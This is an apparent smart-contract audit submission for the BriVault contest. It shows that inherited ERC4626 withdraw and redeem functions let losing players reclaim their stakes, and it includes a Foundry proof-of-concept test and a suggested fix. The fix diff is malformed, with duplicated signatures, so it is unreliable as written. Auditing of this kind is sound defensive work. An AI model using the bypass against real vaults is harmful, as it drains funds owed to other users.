BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Withdraw funds outside event rules on a loss

neomartis

Withdraw funds outside event rules on a loss

Description

  • Normal behavior: Users deposit before the event start, pick a country, the owner sets the winner after the event ends, and only winners can withdraw their proportional share via the vault’s guarded withdraw() logic. Losers should not be able to retrieve their stake after the event starts.

  • Issue: The contract inherits ERC4626 and does not restrict the standard ERC4626 entrypoints. A losing user can call the inherited withdraw(uint256 assets, address receiver, address owner) (or redeem) to pull their own assets out at any time, bypassing the event winner rules enforced by the custom withdraw() with no arguments. This breaks the game’s economics and lets losers recover funds outside the intended rules.

// @> the contract extends ERC4626 including withdraw(uint256 assets, address receiver, address owner)
contract BriVault is ERC4626, Ownable {
// @> the contract implements a withdraw function with different signature, NOT overwriting the withdraw function of ERC4624
function withdraw() external winnerSet {
...
}
​
/// @inheritdoc IERC4626
// @> inherited from ERC4626, the withdraw function that is not overwritten can be called without any guards
function withdraw(uint256 assets, address receiver, address owner) public virtual returns (uint256) {
....
}
​
/// @inheritdoc IERC4626
// @> inherited from ERC4626, the redeem function that is not overwritten can be called without any guards
function redeem(uint256 shares, address receiver, address owner) public virtual returns (uint256) {
...
}

Risk

Likelihood: High

  • Occurs whenever a user holds shares; the ERC4626 withdraw/redeem functions remain publicly callable throughout the lifecycle, without any guards.

  • Any game rules are prevented with this method, making it an obvious choice for anyone who loses to call this function

  • No gating ties these functions to event timing or winner status; knowledgeable users will frequently exploit this to reclaim funds.

Impact: High

  • Losers can recover principal (minus deposit fee), shrinking the prize pool and violating event rules.

  • The stored stakes in the contract remain intact, resulting in skewed results in calculations for the winners

  • When all players play in their best interest, all losers would withdraw their money when they lose, breaking the game, and emptying the prize pool

  • Winners receive less than intended, and overall vault economics are compromised; potential griefing before or after event end.

Proof of Concept

function testWithdrawOwnFundsOutsideEventRules() public {
vm.prank(owner);
briVault.setCountry(countries);
​
vm.startPrank(user1);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(1 ether, user1);
briVault.joinEvent(8);
vm.stopPrank();
​
uint256 stakedByUser1 = briVault.stakedAsset(user1);
uint256 lostInFees = 1 ether - stakedByUser1;
​
vm.warp(eventEndDate + 1);
​
vm.startPrank(owner);
briVault.setWinner(7);
vm.stopPrank();
​
// User 1 has lost the event but can still withdraw via native ERC4626 withdraw function,
// resulting in only a loss in fees
​
vm.startPrank(user1);
uint256 maxWithdraw = briVault.maxWithdraw(user1);
console.log(maxWithdraw);
console.log(stakedByUser1);
// Note: this can similarly be done with the redeem function
briVault.withdraw(stakedByUser1, user1, user1);
vm.stopPrank();
​
assertEq(briVault.balanceOf(user1), 0);
assertEq(mockToken.balanceOf(user1), 20 ether - lostInFees);
}

Explanation:

  • User deposits and joins (country 8).

  • After event ends, owner sets winner to 7 (user lost).

  • User calls inherited ERC4626 withdraw(assets, receiver, owner) to pull out their stake anyway.

  • Assertions show user recovers funds (only fee lost), bypassing the custom winner check.

  • This leaves the vault completely drained, in case of this example with 1 user. But the poc shows that this can be done for any user.

Recommended Mitigation

All public endpoints of ERC4624 that can impact the shares should be blocked/overridden. In this case it is important to do so for withdraw and redeem, but also the mint function is at risk.

Note that the deposit function has the exact same signature as in ERC4624 and is already overwritten, that function is safe.

contract BriVault is ERC4626, Ownable {
+ // Explicitly disable raw ERC4626 entrypoints that bypass event rules
+ function withdraw(uint256 assets, address receiver, address owner) public override returns (uint256) {
+ public
+ override
+ returns (uint256)
+ {
+ revert("Disabled");
+ }
+
+ function redeem(uint256 shares, address receiver, address owner) public override returns (uint256)
+ public
+ override
+ returns (uint256)
+ {
+ revert("Disabled");
+ }
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!